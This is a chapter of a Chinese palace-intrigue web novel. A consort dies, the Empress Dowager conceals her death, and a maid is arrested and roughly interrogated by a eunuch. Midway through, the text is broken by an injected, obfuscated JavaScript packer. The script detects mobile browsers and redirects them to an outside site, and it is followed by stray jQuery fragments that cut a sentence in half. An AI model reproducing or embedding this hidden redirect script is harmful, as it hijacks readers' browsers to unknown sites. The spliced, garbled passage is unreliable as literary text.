94. 思牛女

作品:《绑定厌恶值收集系统后

    天边勾着弯颜色惨淡的月亮,月光照在无人打理的满街雪上,以往早该静谧下来的锦瑟宫今夜却喧闹不已,宫人人人自危,望着月亮求送子娘娘保佑韩妃平安无事。


    “陛下来了!陛下来了!”


    外面传来急切的声音,宫人还来不及做出反应便见皇帝惨白着匆匆进来,行动间踉跄几步又跌跌撞撞往里间走去。


    极为细微的碎玉声传来,是鸟儿落在了室外不远处的松枝上,它歪着头打量里面,只见屋里面人人表情凝重,如丧考妣。


    尽皆亮起的烛台照亮了整个殿中,蜡烛燃烧间不堪重负的落下几滴泪,看着那皇帝颤颤巍巍走进殿中,不慎身形朝一侧倾倒,好在伸手扶住了柜子才不至于跌倒在地。


    沉闷的声音出自地毯间,是柜子上摆设的三个小人之一被皇帝无意间拂落在地导致。小人面朝下躺着,叫人看不清脸上神色,在此时也激不起别人的注意。


    李婳从里间出来,面色苍白,浑浑噩噩走到皇帝面前,僵硬的身体却是做不出更多的动作。她对上皇帝求证般的目光,闭了闭眼侧过头。


    她该说什么呢?


    三娘握着她的手,就那么静悄悄的没了呼吸。


    明明不久前韩三娘拉着她说入宫的忐忑与此后喜忧参半的情绪。后面她的力气越来越小,说的话却越来越多。


    三娘提到当年花朝节的事情。那时她夹在白花里面送的耳珰被他们买了给三娘买药,现在已经被赎回来了,在府里等着她回去拿。


    李婳听后忍着眼泪道:“我不要,我要你去帮我拿回来啊。”


    三娘却仿若听不见般继续说着别的。


    她又讲到幼时与兄长的趣事、少时对别人强健身体的羡慕、对做木雕的喜欢,现在想见兄长与皇帝……


    到了最后三娘双眼直勾勾盯着上空,只喃喃道:“我还想,多活些年呢。”


    啪嗒——


    挺直的梧桐树立在寒风里,光秃秃的枝干有雪压在上面。现在不是暖季,厚厚的白雪无法消融,便只能一个劲堆在枝干间。直到今日,积了许多雪的枝干再次遇到了飞雪,终是折了顽强生存的枝子。


    察觉到事情不妙的皇帝冲进里间,扑到三娘的床榻边伸手去触碰三娘,唤道:“阿姐,阿姐!阿姐你醒醒啊……”


    韩三娘躺在床上双目闭合,好似只是睡着了般,可任凭皇帝怎么喊她,床上的人都没有任何反应。


    月亮透过窗户照进这里又铺上一层凄清的颜色。


    李婳此时脑子昏昏沉沉,唯有一件事被记在了心里。


    她上前两步,看着趴在地上哀恸不已的皇帝,近乎于麻木道:“三娘有话让我告诉你。”


    皇帝没有反应,李婳便继续道:“三娘说……‘君无两意,我无二心,不吟白头,不伤离别……自古有情多诀别,请君加餐勿念妾。’”


    李婳不知他们的渊源,但他俩人却是知道的明明白白。


    他二人做了几年夫妻,一开始三娘仅是入宫却与他并无感情,而后便是相识相知相爱。到如今已是过了三四年,他们有了孩子,宫殿外一同中的梧桐树也长势良好。


    只是怎么一日之间就变了。


    殿外风雪依旧,殿内烛火已经燃烧殆尽,一如殿中主人。


    自古有情多诀别,天人永别,竟也是一夜之间。


    韩妃死了,本该是要举行葬礼的,可太后却不允许。


    不过短短一日,太后就从不知道什么地方带来了个品貌像极了三娘的姑娘,她将人人来到锦瑟宫,给了银子又敲打宫人管住嘴巴。


    容太后凤眼冷冷扫过在场之人:“你们一个个的中了邪术被迷了心智,说什么韩妃死了,她不就好好在这里吗?”


    李婳不明白太后这么做的意图,但她不想让别人顶着韩三娘的身份活下去。最起码该让三娘的家人知道三娘不在了。


    她找了个看起来机灵些的鸟儿,在系统的指引下抓住了它,请它告诉韩宴宫里有位韩妃娘娘死了。


    为了以防万一,她又找了好些小动物求它们帮忙。


    除此之外还有赵勤行那边,她也该告诉赵勤行三娘出事了的。


    趁着空闲的功夫,李婳跑到指定的传信处,蹲在地上挖着洞要将东西放进去。


    这地方本来就隐蔽,平时也是安安静静的,只不过此时她没由来的心头慌乱,连带着手上也慌张起来。她忙不迭将东西埋好之后就要离开,却在转身后彻底呆住。


    在那站着几个穿红黑袍的宦官,为首之人鹰视狼顾,见她不安的反应后随意挑起一边嘴角露出个梨窝,道:“拿下。”


    身后太监应声而动牵制住李婳,有个则去挖她埋下来的东西。


    李婳挣扎道:“你凭什么抓我!”


    宁仇从容地看着她,而后回道:“宫女阿顺私联外敌意图谋反,这个罪名够抓你了么?”


    “证据呢!你要讲证据的!”


    听到她这么说,宁仇像是要让她死的甘心般张开了手,那还沾着些不起眼泥土的东西就落进了他掌心里。


    “这就是证据。”宁仇轻嗤一声,眼睛却是看向了所谓的“证据”——一个眼角发红的陈年老木雕小人。


    这小人是实心的,从内到外都找不出一点字迹来,若说这是证据也未免太牵强了些。


    李婳也算是稍稍放下心来,这下总不能说她什么意图谋反之类的了吧。


    早在进宫前她就告诉赵勤行宫里三娘的事情了,还给赵大夫看了三娘雕的小人。


    她们说好了,要是三娘出了事,李婳没人庇佑后她就把小人埋进约好的地方,这样赵勤行就找机会把她带出宫。


    一个木雕小人嘛,就算是被发现了也算是有理由的。


    李婳见宁仇两根指头捏着那小人,明明看不顺眼还要硬看,她赶紧道:“你小心些,那是韩妃娘娘赐给我的!”


    宁仇听后重新看向她,似乎还要听她怎么说。


    “韩妃娘娘出事了,我看着这木雕难受我才想把它埋起来……你们不能随便冤枉人!”李婳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065853|154040||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    表现的理直气壮,可在场之人又有几个是讲理的?


    宁仇听着她鳖脚的理由眼中闪过几丝嘲讽,却是嫌弃的将木雕拿的更远了,就好像捏着什么垃圾似的。


    他又问:“你说娘娘出事,她出何事了?”


    李婳本想答过世了,忽的记起太后说过不能说韩妃死了。


    他是太后的心腹想必也是知道内情的,要是自己现在这么说他肯定就有机会惩罚自己了。


    李婳忙道:“娘娘身体不好,险些动了胎气可不是出事吗!你们问完了就赶紧放开我,我还要回锦瑟宫。”


    宁仇听后神情讥讽,将木雕小人随手揣进袖子里,慢悠悠走到她面前道:“阿顺是吧,你今日……往后都不必回锦瑟宫了。去监察署受审吧。


    “对了,别和我提什么证据的,这种东西只要我想,我就能给你安上。”


    原先还觉得自己会平安无事的李婳彻底明白翻船是种怎么样的感觉。


    她的任务还是消灭漏洞呢,现在好了,自己都快被漏洞给消灭了。


    都说皇宫进去难出去更难,这在她这里这皇宫却是出去进去都挺容易的。


    就是狼狈了些。


    许是觉得她一直说着冤枉,找他们要证据太烦了,一个太监直接把她给打晕了带走。


    等到李婳意识再度恢复时,首先感觉到的就是脖子后面的痛意,旋即是脸上湿答答流下的冷水。


    她张开眼发现自己身处在室内最中间,四周点着蜡烛但照不到这里,故而她只能看见模模糊糊的轮廓。


    这间屋子不大,该是审问或办公之类的地方,一侧是满满当当的书案但空无一人,此外便是不远处的一桶水了。


    想必她脸上的水就是被这桶里面的水泼的。


    忽的身后传来一阵力道按在她还发疼的脖子上,将她脑袋往水里面按。李婳连忙挣扎却难以抵挡这股子力气。


    身后之人毫不放手,直到她的动作幅度越来越强烈,那木桶里的水被打翻在地,冷水泼在两人的衣角间才罢休。


    “你有病啊!”李婳连忙转身去看那人,发觉是那该死的宁仇后下意识后退数步,用袖子抹了抹脸上的水渍,等着她的眼里几乎要喷火。


    宁仇看着自己被水弄湿的衣角与鞋尖,不悦的皱眉。听到李婳骂他后抬眼去看她,在看见她狼狈的模样后这才带了些许顽劣阴毒的笑意,也不恼自己被骂了,就那么阴森森看着李婳。


    这世界漏洞怕是重生重的脑子都傻了,只剩下坏心眼和烂肚肠。


    李婳满心的厌恶使得她移开视线,生怕多看一眼自己就被气死了。


    昏暗的室内除去她发丝滴水的啪嗒声外没有一点声音,过了一会儿,不远处传来脚步声。


    宦官笃定的声音也随之传来:“你是异端,你告诉我,这里究竟是什么地方。”


    什么异端,什么什么地方。


    李婳心里咯噔一下,面上却是无知无畏的模样道:“我听不等你的话,实在不行找个人看看脑子。”